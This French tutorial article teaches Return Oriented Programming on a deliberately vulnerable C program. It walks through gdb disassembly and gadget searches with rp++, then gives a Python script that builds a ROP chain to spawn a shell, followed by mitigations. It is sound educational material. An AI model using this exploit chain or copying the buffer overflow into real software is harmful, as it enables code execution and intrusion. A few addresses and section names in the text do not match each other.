Ge0

Zeste de savoir

Découvrez l'attaque "Return Oriented Programming" !

12 août 2019

Table des matières

Après une longue période de calme, on attaque le sixième article d'une série sur l'emploi du langage binaire sur les systèmes d'exploitation, de la rétro-ingénierie à l'écriture d'un « Hello world » en langage d'assemblage tout en passant par des techniques d'exploitation de vulnérabilité système.

Aujourd'hui, je vais vous parler d'une technique intitulée **Return Oriented Programming** qu'on abrège communément **ROP**.

Contrairement à un traditionnel *stack-based overflow*, le *ROP* a été imaginé et baptisé ainsi pour contourner les mécanismes de protection qui avaient été mis en place pour empêcher les exploitations basiques de type *stack-based overflow* où, comme je vous le montrais dans mon article précédent, on plaçait dans la pile d'exécution un *shellcode*.

En effet, avec le temps, les systèmes d'exploitation se sont munis des protections suivantes :

— **ASLR** (Address Space Layout Randomization) : cette protection permet de positionner, à chaque exécution, un segment mémoire à une adresse mémoire qui n'est pas déterminable à l'avance ;
— **NX** (Never eXecute) : cette protection permet de dissocier les segments exécutables de ceux qui ne devraient pas l'être.

Ainsi, avec ces deux protections mises en place (qu'on a en fait désactivées dans l'article précédent pour la beauté de l'exemple), il est impossible d'exécuter un code arbitraire présent dans la pile d'exécution. D'autant plus qu'à chaque exécution, le fond de la pile commence à une adresse mémoire purement aléatoire : bonne chance pour réussir à exécuter du code injecté avec ça !

Eh bien figurez-vous que le **ROP** contourne ces deux protections à la fois.

Et je vais vous le prouver en trois parties !

Nous commencerons par nous attarder sur un cas d'école basique : un programme en C où nous identifierons la vulnérabilité à exploiter. Ensuite nous nous attarderons sur la technique **ROP** en elle-même et ensuite nous pourrons nous concentrer sur le plus intéressant : l'exploitation de la vulnérabilité.

Et je n'oublierai pas de vous dire, après tout ça, les mesures qui peuvent atténuer les exploits de type **ROP**.

Cet article sera long et j'omettrai beaucoup de détails et d'explications, sinon il serait encore plus long ! La vérité, c'est que si vous n'avez pas lu mes articles précédents, alors je vous conseille fortement de le faire, sinon vous risquez d'être perdu lorsque je parlerai du fonctionnement de la pile d'exécution ou de langage machine !

Vous connaissez la chanson : attachez vos ceintures, ça va secouer !

1. Cas d'école : le programme vulnérable

1.0.1. Le programme

Considérons le programme suivant qui n'a, pour la beauté de l'exemple, aucun intérêt :

```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LEN 2048


void vulnerable(int fd, size_t size);

int main(int argc, const char* argv[])
{
  if(argc < 2)
  {
    fprintf(stderr, "Usage: %s <file>\n", argv[0]);
    exit(EXIT_FAILURE);
  }


  int fd = open(argv[1], O_RDONLY);
  if(fd < 0)
  {
    perror("open()");
    exit(EXIT_FAILURE);
  }

  struct stat st;
  if(fstat(fd, &st) < 0)
  {
    perror("fstat()");
    close(fd);
```

```
33      exit(EXIT_FAILURE);
34    }
35
36    vulnerable(fd, st.st_size);
37
38    close(fd);
39
40    return EXIT_SUCCESS;
41  }
42
43  void vulnerable(int fd, size_t size)
44  {
45    char buf[BUF_LEN];
46    size_t i;
47    for(i = 0; i < size; i += BUF_LEN)
48    {
49      read(fd, buf + i, BUF_LEN);
50    }
51  }
```

Le programme prend en argument un nom de fichier et va lire intégralement son contenu dans un *buffer* de taille fixe.

Enregistrez la source sous `main.c` et compilez le programme à l'aide de l'option suivante :

```
1  gcc -m32 -static -fno-stack-protector -o ropme main.c
```

Explication des options :

- `-m32` : le binaire sera généré pour architecture intel x86 (32 *bits*) ;
- `-static` : la libc sera statiquement liée au binaire, ce qui augmentera de façon considérable sa taille. En plus de faciliter notre travail d'exploitation par la suite, on se rapprochera a priori d'un cas réel où nous exploitons un binaire qui contient beaucoup de code, ce qui sera le cas ici.
- `-fno-stack-protector` : désactive la protection de la pile d'exécution. *Eh* oui, on a parlé de contourner **ASLR** et **NX**, mais puisque nous attaquerons la pile, nous aurons besoin que celle-ci ne soit pas protégée.

1.0.2. La vulnérabilité

Pour nous faciliter la tâche, je vous ai indiqué la vulnérabilité dans une fonction dont le nom est assez parlant. Penchons-nous sur le *snippet* suivant :

```
1  void vulnerable(int fd, size_t size)
2  {
```

```
  char buf[BUF_LEN];
  int i;
  for(i = 0; i < size; i += BUF_LEN)
  {
    read(fd, buf + i, BUF_LEN);
  }
}
```

On appelle en boucle l'appel système `read` qui va positionner les données lues à partir de notre descripteur de fichier `fd` dans une zone mémoire pointée par `buf`, mais aucun contrôle de taille n'est fait. Nous irons donc écrire logiquement dans l'espace mémoire réservé par `buf` et au-delà.

Et au-delà se trouve les informations de notre *stack frame*, à savoir la sauvegarde de la base du pointeur de pile et la sauvegarde du pointeur d'instruction.

Preuve à l'appui :

```
% perl -e 'print "A" x 500' > file
% ./ropme file
```

Mettons un peu au-delà de 2048 octets pour être sûr que le programme plante.

```
% perl -e 'print "A" x 3000' > file
% ./ropme file
[1]    28807 segmentation fault (core dumped)  ./ropme file
```

Désassemblons la fonction vulnérable et analysons-la :

```
% gdb ./ropme
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
[...]
Reading symbols from ./ropme...(no debugging symbols found)...done.
(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
   0x08048efb <+0>:     push   ebp
   0x08048efc <+1>:     mov    ebp,esp
   0x08048efe <+3>:     sub    esp,0x828
   0x08048f04 <+9>:     mov    DWORD PTR [ebp-0xc],0x0
   0x08048f0b <+16>:     jmp    0x8048f36 <vulnerable+59>
   0x08048f0d <+18>:     mov    eax,DWORD PTR [ebp-0xc]
   0x08048f10 <+21>:     lea    edx,[ebp-0x80c]
   0x08048f16 <+27>:     add    eax,edx
   0x08048f18 <+29>:     mov    DWORD PTR [esp+0x8],0x800
```

```
   0x08048f20 <+37>:        mov    DWORD PTR [esp+0x4],eax
   0x08048f24 <+41>:        mov    eax,DWORD PTR [ebp+0x8]
   0x08048f27 <+44>:        mov    DWORD PTR [esp],eax
   0x08048f2a <+47>:        call   0x806d2b0 <read>
   0x08048f2f <+52>:        add    DWORD PTR [ebp-0xc],0x800
   0x08048f36 <+59>:        mov    eax,DWORD PTR [ebp-0xc]
   0x08048f39 <+62>:        cmp    eax,DWORD PTR [ebp+0xc]
   0x08048f3c <+65>:        jb     0x8048f0d <vulnerable+18>
   0x08048f3e <+67>:        leave
   0x08048f3f <+68>:        ret
End of assembler dump.
(gdb)
```

Grâce à cette instruction :

```
   0x08048efe <+3>:        sub    esp,0x828
```

On sait que nous avons 0x828 octets - soit 2088 en décimal - alloués dans notre pile qui, une fois son cadre installé pour la fonction `vulnerable`, ressemble à ça :

```
|         ///          |
+----------------------+ <-- esp
|        ...           |
|     2088 octets      |
|        ...           |
+----------------------+ <-- ebp
|        SEBP          |
+----------------------+
|        SEIP          |
+----------------------+
|         ///          |
```

Maintenant, il nous faut :

— localiser l'adresse de base de `buf` dans ces 2088 octets ;
— Calculer à partir de combien d'octets nous allons réécrire *SEIP* et ainsi contrôler le flux d'exécution de notre programme.

Partons des instructions qui font appel à la fonction `read` après avoir positionné les arguments :

```
   0x08048f18 <+29>:        mov    DWORD PTR [esp+0x8],0x800
   0x08048f20 <+37>:        mov    DWORD PTR [esp+0x4],eax
   0x08048f24 <+41>:        mov    eax,DWORD PTR [ebp+0x8]
   0x08048f27 <+44>:        mov    DWORD PTR [esp],eax
```

```
   0x08048f2a <+47>:        call   0x806d2b0 <read>
```

Pour rappel, la signature de la fonction `read` est la suivante :

```c
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
```

Ainsi, juste avant l'appel à la fonction, nous devrions avoir la pile d'exécution qui ressemble à ceci :

```
+--------------+ <-- esp
|     fd       |
+--------------+ <-- esp+4
|     buf      |
+--------------+ <-- esp+8
|    count     |
+--------------+
|     ///      |
```

En faisant le lien avec le code désassemblé, nous repérons une référence à `buf` :

```
0x08048f20 <+37>:        mov    DWORD PTR [esp+0x4],eax
```

Ici, le registre `eax` contient en fait l'adresse de *buf* et sera écrit dans la pile d'exécution pour dire à *read* qu'il s'agira de son deuxième argument.

Retraçons l'origine de la valeur qui a été positionnée dans *eax* :

```
   0x08048f0d <+18>:        mov    eax,DWORD PTR [ebp-0xc]
   0x08048f10 <+21>:        lea    edx,[ebp-0x80c]
   0x08048f16 <+27>:        add    eax,edx
```

Attardons-nous sur ces trois instructions en détail :

La première instruction, `mov eax,DWORD PTR [ebp-0xc]`, va affecter au registre `eax` la valeur pointée par `[ebp-0x0c]`.

On se souvient que le registre `ebp` est le pointeur de base de la pile. On se souvient également que les adresses mémoires évoluent vers le bas :

```
  Adresses
   basses
+------------+ <-- esp
|    ...     |
|    ...     |
+------------+ <-- ebp
|    ///     |
   Adresses
     hautes
```

Ainsi, si nous faisons `ebp-0xc`, nous nous déplacerons vers les adresses basses donc « vers le haut ». Et nous serons dans la pile courante d'exécution.

En fait, si on réfléchit bien, la zone mémoire pointée par `ebp-0x0c` est affectée à une variable locale. Mais laquelle ? Continuons d'explorer...

La seconde instruction, `lea edx,[ebp-0x80c]` va positionner `edx` à l'adresse mémoire calculée par `ebp-0x80c`. Ici, on ne prend pas la valeur pointée par `[ebp-0x80c]` mais on met dans `edx` l'adresse mémoire de `ebp`, moins `0x80c`. Pour rappel, l'instruction `lea` signifie **load effective address**.

On a là deux informations intéressantes :

— `edx` contient en fait une adresse mémoire, ce qui en fait sans aucun doute un pointeur.
— La zone mémoire pointée est dans la pile d'exécution puisque, comme expliqué plus haut, le calcul `ebp - 0x80c` fait que nous nous situons vers les adresses basses, donc vers le « sommet de la pile ».

Viens ensuite la troisième instruction : `add eax,edx` où on ajoute à `edx` la valeur de `eax`.

En résumé, nous modifions la position de notre pointeur stocké dans `edx` avec une valeur stockée dans `eax`.

Les plus perspicaces d'entre vous auront trouvé qu'il s'agit en fait de ce calcul :

```
buf + i
```

Et que `edx` correspond en fait à `buf` alors que `eax`, avant addition, correspond à `i`.

Allez, on y est presque ! Maintenant que nous savons que l'adresse de base de `buf` est située à `ebp-0x80c`, il nous faut faire le calcul pour savoir à partir de quand nous pourrons réécrire *SEIP*.

Redessinons notre pile d'exécution avec les informations que nous avons déduites :

```
|         ///          |
+----------------------+ <-- esp
|        ...           |
```

```
+----------------------+ <-- ebp - 0x80c (buf)
|     2088 octets      |
|        ...           |
+----------------------+ <-- ebp - 0x0c (i)
|        ...           |
+----------------------+ <-- ebp
|        SEBP          |
+----------------------+ <-- ebp + 4
|        SEIP          |
+----------------------+
|         ///          |
```

Sachant que `buf` se situe à `ebp-0x80c` et que `seip` se situe toujours à `ebp+0x04`, il nous faudra écrire tant d'octets :

$$04H - (-80cH)$$

Ce qui fait **2064 octets**, soit **0x810** en notation hexadécimale.

Quel dommage que nous ne puissions pas positionner notre *shellcode* en variable d'environnement à une adresse fixe ! De surcroit, la pile n'est pas exécutable, on peut donc s'asseoir sur l'idée d'exécuter notre *shellcode* dans celle-ci.

C'est là que la technique du **ROP** intervient.

2. La puissance du ROP

ROP ROP ROP, je n'arrête pas de répéter cet acronyme, mais au final, à quoi correspond-il ?

Voici ce que la page Wikipédia nous dit à son sujet :

> La ROP, return-oriented programming, est une technique d'exploitation avancée de type dépassement de pile (stack overflow) permettant l'exécution de code par un attaquant et ce en s'affranchissant plus ou moins efficacement des mécanismes de protection tels que l'utilisation de zones mémoires non-exécutables (cf. bit NX pour Data Execution Prevention, DEP), l'utilisation d'un espace d'adressage aléatoire (Address Space Layout Randomization, ASLR) ou encore la signature de code.

Nous allons voir très vite ce à quoi peut correspondre cette attaque. La version française de Wikipédia étant peu bavarde à ce sujet, voici ce que dit la version anglaise, qui fournit plus de détails :

> In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences, called "gadgets". Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

Attardons-nous sur ce qu'est un **gadget**.

Considérons une petite routine, en langage binaire, qui fait une addition entre deux entiers et qui a besoin de sauvegarder l'état de ses registres :

```
push ebx  ; Sauvegarde du registre ebx sur la pile
push ecx  ; Sauvegarde du registre ecx sur la pile

mov ebx, [first_value] ; On va chercher la première valeur à
    l'adresse mémoire first_value
mov ecx, [second_value] ; On va chercher la seconde valeur à
    l'adresse mémoire second_value
add ebx, ecx ; On fait l'addition
mov eax, ebx ; On stocke le résultat dans eax qui contient la
    valeur de retour de notre routine

pop ecx ; On restaure le registre ecx à partir de la pile
pop ebx ; On restaure le registre ebx à partir de la pile
ret ; On rend la main à la routine appelante
```

Supposons que nous isolions ces trois instructions :

```
pop ecx ; On restaure le registre ecx à partir de la pile
pop ebx ; On restaure le registre ebx à partir de la pile
ret ; On rend la main à la routine appelante
```

Sans se soucier de ce qu'il se passe avant, on sait qu'elles dépilent deux valeurs présentes au sommet de la pile et que la dernière instruction restaure un hypothétique **SEIP** positionné au sommet de la pile.

Il s'agit là d'un **ROP-gadget** dans la mesure où si nous écrasons notre **SEIP** par l'adresse de la première instruction - à savoir `pop ecx` - alors nous pourrons contrôler la valeur que prendra `ecx` ainsi que la valeur que prendra `ebx`, avant de rediriger le flux d'exécution ailleurs.

Supposons que l'instruction `pop ecx` se situe à l'adresse `epilogue`. Voici comment nous pourrions réécrire notre pile d'exécution après notre **stack-based overflow** :

```
+----------------------+ <-- esp
|       AAAAAAA        |
|       AAAAAAA        |
|       .......        |
+----------------------+ <-- ebp
|       AAAAAAA        | (SEBP a été réécrit)
+----------------------+
|       epilogue       | (SEIP a été réécrit par l'adresse de
    epilogue)
+----------------------+
|  Notre valeur d'ecx  |
```

```
+----------------------|
|  Notre valeur d'ebx  |
+----------------------+
|        ///           |
```

Lorsque notre fonction `vulnerable` aura dépilé **SEIP** qui sera en fait réécrit par `epilogue`, la pile ressemblera à ceci :

```
|       .......        |
+----------------------+
|       AAAAAAA        |
+----------------------+
|       epilogue       |
+----------------------+ <-- esp
|  Notre valeur d'ecx  |
+----------------------|
|  Notre valeur d'ebx  |
+----------------------+
|        ///           |
```

Et le programme déroulera les instructions pointées par `epilogue`, à savoir :

```
pop ecx
pop ebx
ret
```

Ici, nous aurons mis les valeurs de notre choix dans `ecx` et `ebx`, puis nous pourrons rediriger le flux d'exécution à une autre adresse de notre choix qui sera un autre « gadget » nous permettant d'initialiser d'autres registres.

Notre dernière adresse de retour pointera idéalement sur un `int 0x80` afin de faire un appel système type `execve`.

Avec cette méthode, on utilise du code qui est exécutable (donc pas de problème d'accès invalide à une zone mémoire) et toujours situé aux mêmes adresses mémoires. La pile ne nous sert qu'à chaîner les gadgets et inscrire les valeurs de nos registres.

i J'attire votre attention sur le fait d'avoir généré un binaire avec l'option `-static` : grâce à cette option, nous aurons un binaire avec beaucoup de code, donc avec potentiellement beaucoup de gadgets.

Notre prochaine tâche consiste à trouver des gadgets qui nous permettent d'initialiser nos registres de sorte à exécuter `execve("/bin/sh", NULL, NULL)`.

Pour cela :

— `eax` contiendra **11** (qui correspond au numéro d'appel système de `execve`).
— `ebx` contiendra l'adresse qui pointe vers notre programme à exécuter : `"/bin/sh"`.
— `ecx` contiendra l'adresse de nos arguments, mais comme nous ne sommes pas obligés d'en mettre, nous mettrons `NULL` (0).
— `edx` contiendra l'adresse de nos variables d'environnement, mais comme nous ne sommes pas obligés d'en mettre, nous mettrons `NULL` (0).

Minute sherlock ! Notre binaire ne contient peut-être pas de chaîne `/bin/sh` en son sein, et ça ne sert à rien de positionner cette chaîne dans la pile d'exécution puisque ses adresses sont aléatoires, donc impossible à prédire. Tu ne peux donc pas exécuter `/bin/sh`.

Eh bien... Si.

Une méthode simple comme bonjour consiste à récupérer une chaîne de caractère quelconque, pourvu qu'elle soit toujours située à la même adresse mémoire à chaque exécution du binaire. Supposons que cette chaîne soit « toto ».

Il suffit d'écrire un script nommé « toto » **dans le répertoire courant** qui contienne en fait les instructions suivantes :

```
1 #!/bin/sh
2 /bin/sh
```

Ainsi, lorsque nous exécuterons `execve("toto", NULL, NULL)`, l'appel système ira chercher `"toto"` dans le répertoire dans lequel nous nous situons. Par la suite, notre script bash sera exécuté, qui lui-même lancera un shell dans le contexte du processus courant, donc dans le contexte du processus vulnérable lorsque nous ferons notre exploitation.

Il y a aussi une chose importante à prendre en compte, que je ne vous ai pas forcément dite : comme le programme utilise la fonction `read` et non pas `strcpy`, nous aurons droit aux fameux null-bytes, ce qui facilitera grandement notre exploitation.

Le plus dur est de trouver les gadgets qui vont bien et de construire ce qu'on appelle une « ropchain » (suite d'adresses de gadgets et de valeurs à mettre dans nos registres) qui nous permette d'exploiter la vulnérabilité du binaire.

Nous allons voir comment nous pourrons les trouver alors que nous écrirons notre exploit. Allez, courage, on y est presque.

3. Écriture d'un exploit

Cette partie sera, je l'espère, la plus intéressante car la plus pratique. Nous apprendrons à chercher des gadgets **ROP** dans un binaire et nous écrirons un exploit qui génère un fichier à fournir à notre binaire vulnérable pour exploiter la vulnérabilité.

Pour chercher des gadgets, je vous recommande rp++ qui est un outil open source multi-plateforme qui supporte plusieurs formats de binaire.

Vous pouvez directement télécharger l'un des binaires ici : https ://github.com/0vercl0k/rp/downloads . Téléchargez *rp-lin-x64* (ou *rp-lin-x86* si vous avez encore un processeur 32 *bits*, sait-on jamais).

Exécutons le binaire et attardons-nous sur l'aide fournie :

```
% rp-lin-x64
DESCRIPTION:
rp++ allows you to find ROP gadgets in pe/elf/mach-o x86/x64
    binaries.
NB: The original idea comes from (@jonathansalwan) and its
    'ROPGadget' tool.

USAGE:
./rp++ [-hv] [-f <binary path>] [-i <1,2,3>] [-r <positive int>]
    [--raw=<archi>] [--atsyntax] [--unique]
    [--search-hexa=<\x90A\x90>] [--search-int=<int in hex>]

OPTIONS:
  -f, --file=<binary path>  give binary path
  -i, --info=<1,2,3>        display information about the binary
      header
  -r, --rop=<positive int>  find useful gadget for your future
      exploits, arg is the gadget maximum size in instructions
  --raw=<archi>             find gadgets in a raw file, 'archi'
      must be in the following list: x86, x64
  --atsyntax                enable the at&t syntax
  --unique                  display only unique gadget
  --search-hexa=<\x90A\x90> try to find hex values
  --search-int=<int in hex> try to find a pointer on a specific
      integer value
  -h, --help                print this help and exit
  -v, --version             print version information and exit
```

Les arguments qui nous intéressent sont les suivants :

— `-f` : permet de spécifier notre fichier cible, à savoir notre binaire vulnerable.
— `-r` : permet de spécifier la taille des gadgets à chercher.
— `--unique` : permet d'aggréger les résultats en ne gardant que les gadgets uniques.

Ainsi, si nous exécutons la commande avec les arguments suivants :

```
% rp-lin-x64 -f ropme -r 1 --unique
```

On obtient un nombre impressionnant de gadgets différents !

Nous allons filtrer sur les gadgets qui nous intéressent. Comme nous souhaitons contrôler la valeur du registre `eax`, cherchons une instruction `pop eax` dans le lot :

```
% rp-lin-x64 -f ropme -r 1 --unique | grep "pop eax"
0x080d7c6e: pop eax ; call dword [edi+0x4656EE7E] ;  (1 found)
0x0809d912: pop eax ; jmp dword [eax] ;  (4 found)
0x080bb3a6: pop eax ; ret  ;  (3 found)
0x080e681c: pop eax ; retn 0x0000 ;  (1 found)
0x0807257a: pop eax ; retn 0x080E ;  (6 found)
```

Celui-ci fera parfaitement l'affaire :

```
0x080bb3a6: pop eax ; ret  ;  (3 found)
```

En effet, il n'y a qu'une instruction qui dépile la valeur au sommet de la pile pour la mettre dans `eax`, avant de dépiler la valeur suivante dans le registre `eip`. Donc non seulement nous contrôlons la valeur du registre `eax`, mais nous contrôlons également le flux d'exécution du programme.

Nous choisirons donc l'adresse mémoire `0x080bb3a6` qui a été fournie par l'outil. C'est à cette adresse que les instructions `pop eax` suivie de `ret` seront présentes, et ce *à chaque exécution du programme*.

J'attire votre attention sur le fait que les adresses mémoires que je récupère puissent totalement différer des vôtres. Lorsque nous construirons notre exploit, utilisez bien vos propres adresses mémoires lorsque vous aurez récupéré vos gadgets !

Il nous manque des gadgets pour contrôler `ebx`, `ecx` et `edx`.

Cherchons pour `ecx` :

```
% rp-lin-x64 -f ropme -r 1 --unique | grep "pop ecx"
```

Chez moi, il n'y a aucun gadget de taille '1' qui contienne un `pop ecx`. Essayons avec une taille de '2', c'est-à-dire deux instructions avant une instruction de contrôle de flux d'exécution :

```
% ~/bin/rp-lin-x64 -f ropme -r 2 --unique | grep "pop ecx"
0x080e56f1: pop ecx ; add ecx, dword [edx] ; ret  ;  (1 found)
0x0809d911: pop ecx ; pop eax ; jmp dword [eax] ;  (4 found)
0x0806ef91: pop ecx ; pop ebx ; ret  ;  (1 found)
```

Super ! On a un gadget intéressant :

```
0x0806ef91: pop ecx ; pop ebx ; ret  ;  (1 found)
```

Avec ce gadget, on peut non seulement contrôler la valeur de `ecx` mais aussi celle de `ebx` !

Il nous reste à trouver un gadget pour contrôler `edx` et une adresse mémoire qui pointe sur une instruction `int 0x80` :

```
% rp-lin-x64 -f ropme -r 1 --unique | grep "pop edx"
0x0806ef6a: pop edx ; ret  ;  (2 found)
% rp-lin-x64 -f ropme -r 1 --unique | grep "int 0x80"
[...]
0x080494b1: int 0x80 ;  (12 found)
[...]
```

On a tous nos gadgets !

Il reste un détail : trouver une adresse mémoire qui pointe sur une chaîne de caractère ASCII. C'est-à-dire une chaîne dont les caractères ont leur code ASCII strictement supérieur à 0x20 (le caractère espace) et strictement inférieur à 0x7f (le caractère DEL).

Une solution serait de chercher dans la section `.symtab` de notre ELF. Si cette section est présente, elle contient probablement une table de symboles, chaque symbole étant séparé par un caractère *null-byte*.

```
% readelf -x .rodata ./ropme | less
Hex dump of section '.rodata':
[...]
  0x080be810 72652f6c 6f63616c 652d6c61 6e677061 re/locale-langpa
  0x080be820 636b0000 00000000 00000000 00000000 ck............
[...]
```

Dans cet extrait du *dump* de la section `.rodata`, on voit qu'à l'adresse `0x080be820` se situe la chaîne de caractères `ck`. Cela fera l'affaire.

La chaîne doit impérativement terminer par un null-byte (00). Assurez-vous qu'il n'y ait pas d'autres caractères invisibles avant, du type espace (20) ou autre !

On a toutes les infos qu'il nous faut. Voici un programme en python 3 qui génère un fichier d'exploitation à fournir au binaire vulnérable. J'espère qu'un lama ne cracherait pas dessus en voyant le dernier tout de mon cru :

```python
#!/usr/bin/env python3

import sys
import struct


def main(argv):
    if len(argv) < 2:
        print("Usage: {} <out_file>".format(argv[0]))
        raise SystemExit(-1)

    padding_length = 0x810  # The padding length we deducted

    rop_gadgets = [
        struct.pack('<L', 0x080bb3a6),  # pop eax; ret
        struct.pack('<L', 0x0000000b),  # value to set in EAX (11)
        struct.pack('<L', 0x0806ef91),  # pop ecx; pop ebx; ret
        struct.pack('<L', 0x00000000),  # 0 for ecx (argv)
        struct.pack('<L', 0x080be820),  # addr of 'ck' for ebx
        struct.pack('<L', 0x0806ef6a),  # pop edx; ret
        struct.pack('<L', 0x00000000),  # 0 for edx (envp)
        struct.pack('<L', 0x080ba019),  # int 0x80
    ]

    payload = b'A' * padding_length + b''.join(rop_gadgets)

    with open(argv[1], "wb") as stream:
        stream.write(payload)


if __name__ == "__main__":
    main(sys.argv)
```

```
% cat ./ck
#!/bin/sh
/bin/sh
% chmod +x ./ck
% ./exploit.py payload.bin
% ./ropme payload.bin
$
```

Le dernier `$` indique que nous avons réussi à lancer un shell dans le contexte du processus `ropme`.

Vous ne me croyez pas ? *Eh* bien, un moyen simple de s'en assurer est d'utiliser l'outil `strace` pour tracer les appels systèmes exécutés par notre processus :

```
strace ./ropme zds_payload
execve("./ropme", ["./ropme", "zds_payload"], [/* 65 vars */]) = 0
[...]
open("zds_payload", O_RDONLY)           = 3
fstat64(3, {st_mode=S_IFREG|0664, st_size=2096, ...}) = 0
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 2048) = 2048
read(3,
    "AAAAAAAAAAAAAAAA\246\263\v\10\v\0\0\0\221\357\6\10\0\0\0\0"...,
    2048) = 48
execve("ck", [0], [/* 0 vars */])       = 0
[ Process PID=3352 runs in 64 bit mode. ]
[...]
read(10, "#!/bin/sh\n/bin/sh\n", 8192)  = 18
clone(child_stack=0,
    flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD,
    child_tidptr=0x7fd678243a10) = 3353
wait4(-1, $
```

On voit bien qu'il y a eu un appel à `execve` à notre **wrapper** sur `/bin/sh`. Nous pouvons dire que l'exploitation s'est correctement déroulée.

4. Prévenir des attaques ROP

On a réussi à exploiter une attaque de type ROP. Dans le cas d'école présent, cela fait doucement sourire. Mais cette attaque est encore répandue et fait des ravages lorsqu'elle est bien exécutée.

La solution idéale serait que notre programme ne contienne aucune vulnérabilité, aucun *bug*. On le sait tous : c'est utopique.

En fait, la sécurité informatique est une véritable partie d'échecs en soit : les *hackers* trouvent des défauts dans les sytèmes et trouvent par la suite des contre-mesures à ces défauts. Ceci de manière itérative.

Vous imaginez donc que des ingénieurs ont réfléchi au problème de l'attaque **ROP**.

Et ils ont simplement eu l'idée de faire en sorte que le binaire se lance à une adresse de base aléatoire. Cela est rendu possible en fournissant le flag `-PIE` (**PIE** signifie **P**osition **I**ndependant **E**xecutable) lors de l'édition de liens.

En résumé, on applique l'**ASLR** à notre segment de code.

Évitez autant que possible de lier votre binaire final avec l'option `-static`. Ici, je l'ai fait pour la beauté de l'exemple, afin que nous ayions pléthore d'adresses mémoires sur lesquelles "roper". Cette option avait ajouté le code complet de la libc à notre binaire final. En revanche, avec un code binaire réduit et la libc chargée à partir d'un objet partagé à une adresse de base aléatoire, la surface d'attaque n'en sera qu'amoindrie.

Une autre technique est d'attribuer, sur certains systèmes, des adresses mémoire qui contiennent des null-bytes dans les octets hauts. Si nous avions affaire à un `strcpy`, alors il aurait été non

seulement très difficile de chaîner des gadgets, mais aussi nos valeurs de registre qui contenaient des null-bytes !

Vous connaissez maintenant le principe de l'attaque **ROP**. Mais si ce domaine vous intéresse, votre apprentissage ne s'arrête évidemment pas là !

La documentation sur le sujet est très abondante (bien qu'écrite en anglais) et de nombreux exemples sont illustrés sur des binaires où il est encore plus difficile - mais pas impossible - d'exploiter une vulnérabilité. Mon exemple, à côté, c'est du jus de clémentine.

*Je tiens à remercier tout particulièrement antoyo qui, en plus de m'avoir redonné l'envie de continuer mes articles, a eu la patience de relire mes travaux. Par ailleurs je remercie chaleureusement Taurre qui a effectué une fine relecture pour dénicher les fautes et les incohérences, tant sur le fond que sur la forme, avant de valider l'article. De surcroit, il m'a permis d'ajouter des précisions sur des contre-mesures au **ROP** un an après la parution originale de l'article.*